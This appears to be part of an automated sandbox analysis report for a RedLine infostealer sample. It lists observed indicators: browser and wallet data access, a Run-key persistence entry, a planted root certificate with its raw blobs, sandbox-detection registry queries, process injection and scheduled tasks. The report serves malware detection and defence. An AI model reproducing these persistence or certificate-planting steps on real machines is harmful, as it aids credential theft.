redline | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hPL5nJPHec1YUgsDFRMnpOV0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hPL5nJPHec1YUgsDFRMnpOV0.exe

Loads dropped DLL 55 IoCs

pid	Process
2592	setup_install.exe
2592	setup_install.exe
2592	setup_install.exe
2592	setup_install.exe
2592	setup_install.exe
3740	Fri0471ced4d802994.tmp
5176	Fri0471ced4d802994.tmp
5984	msiexec.exe
5984	msiexec.exe
6136	msiexec.exe
6136	msiexec.exe
2432	lMlZ5QXYqhqtRjLWCYje0Fph.exe
2432	lMlZ5QXYqhqtRjLWCYje0Fph.exe
2432	lMlZ5QXYqhqtRjLWCYje0Fph.exe
920	8MG5_Yl4NctXT2Aj7sPjLRpy.tmp
5248	setup.exe
5248	setup.exe
5248	setup.exe
5248	setup.exe
4036	Calculator.exe
5248	setup.exe
4036	Calculator.exe
4036	Calculator.exe
5248	setup.exe
2432	lMlZ5QXYqhqtRjLWCYje0Fph.exe
2400	Calculator.exe
5172	Calculator.exe
5308	Calculator.exe
5308	Calculator.exe
5308	Calculator.exe
3788	Calculator.exe
3788	Calculator.exe
3788	Calculator.exe
1452	Calculator.exe
1452	Calculator.exe
1452	Calculator.exe
5308	Calculator.exe
1304	Calculator.exe
1304	Calculator.exe
1304	Calculator.exe
2116	Calculator.exe
1304	Calculator.exe
2116	Calculator.exe
2116	Calculator.exe
2116	Calculator.exe
5188	Calculator.exe
5188	Calculator.exe
5188	Calculator.exe
5188	Calculator.exe
5656	Calculator.exe
5656	Calculator.exe
5656	Calculator.exe
4152	Calculator.exe
4152	Calculator.exe
4152	Calculator.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --cSExK3QD"	setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	JMVc_wDqIQU22U4HU1niW2Jv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hPL5nJPHec1YUgsDFRMnpOV0.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 9 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
131	ipinfo.io
133	api.db-ip.com
51	ipinfo.io
53	ipinfo.io
113	api.db-ip.com
111	ipinfo.io
7	ip-api.com
55	api.db-ip.com
56	api.db-ip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
6032	hPL5nJPHec1YUgsDFRMnpOV0.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2996 set thread context of 3592	2996	U01E3FRuxhJk8x8Nod3smRWs.exe	121
PID 1408 set thread context of 5272	1408	Fri04f70c88181ec8.exe	132
PID 2924 set thread context of 6000	2924	Fri0431de7a47.exe	143

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	r5J71KC6x0z2vT9QOW5SuWg6.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	r5J71KC6x0z2vT9QOW5SuWg6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 11 IoCs

pid	pid_target	Process	procid_target
4472	2592	WerFault.exe	82
2808	1520	WerFault.exe	131
4740	3228	WerFault.exe	97
5788	1460	WerFault.exe	126
5540	2756	WerFault.exe	119
5644	2016	WerFault.exe	162
5556	4544	WerFault.exe	164
2412	5688	WerFault.exe	161
5724	1912	WerFault.exe	190
5560	2416	WerFault.exe	189
1412	2996	WerFault.exe	191

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1496	schtasks.exe
1308	schtasks.exe

Enumerates system info in registry 2 TTPs 22 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
1572	taskkill.exe
5772	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-257790753-2419383948-818201544-1000\{DF4F68C9-5769-4B09-BF24-5E07076A17C0}	Calculator.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee404000000010000001000000091de0625abdafd32170cbb25172a846720000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	r5J71KC6x0z2vT9QOW5SuWg6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 5c00000001000000040000000008000004000000010000001000000091de0625abdafd32170cbb25172a84670300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877619000000010000001000000063664b080559a094d10f0a3c5f4f629020000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	r5J71KC6x0z2vT9QOW5SuWg6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	r5J71KC6x0z2vT9QOW5SuWg6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	r5J71KC6x0z2vT9QOW5SuWg6.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 04000000010000001000000091de0625abdafd32170cbb25172a84670300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	r5J71KC6x0z2vT9QOW5SuWg6.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1592	powershell.exe
1592	powershell.exe
1984	powershell.exe
1984	powershell.exe
1592	powershell.exe
1592	powershell.exe
1984	powershell.exe
1984	powershell.exe
4472	WerFault.exe
4472	WerFault.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
1784	Fri043a70f76ef98.exe
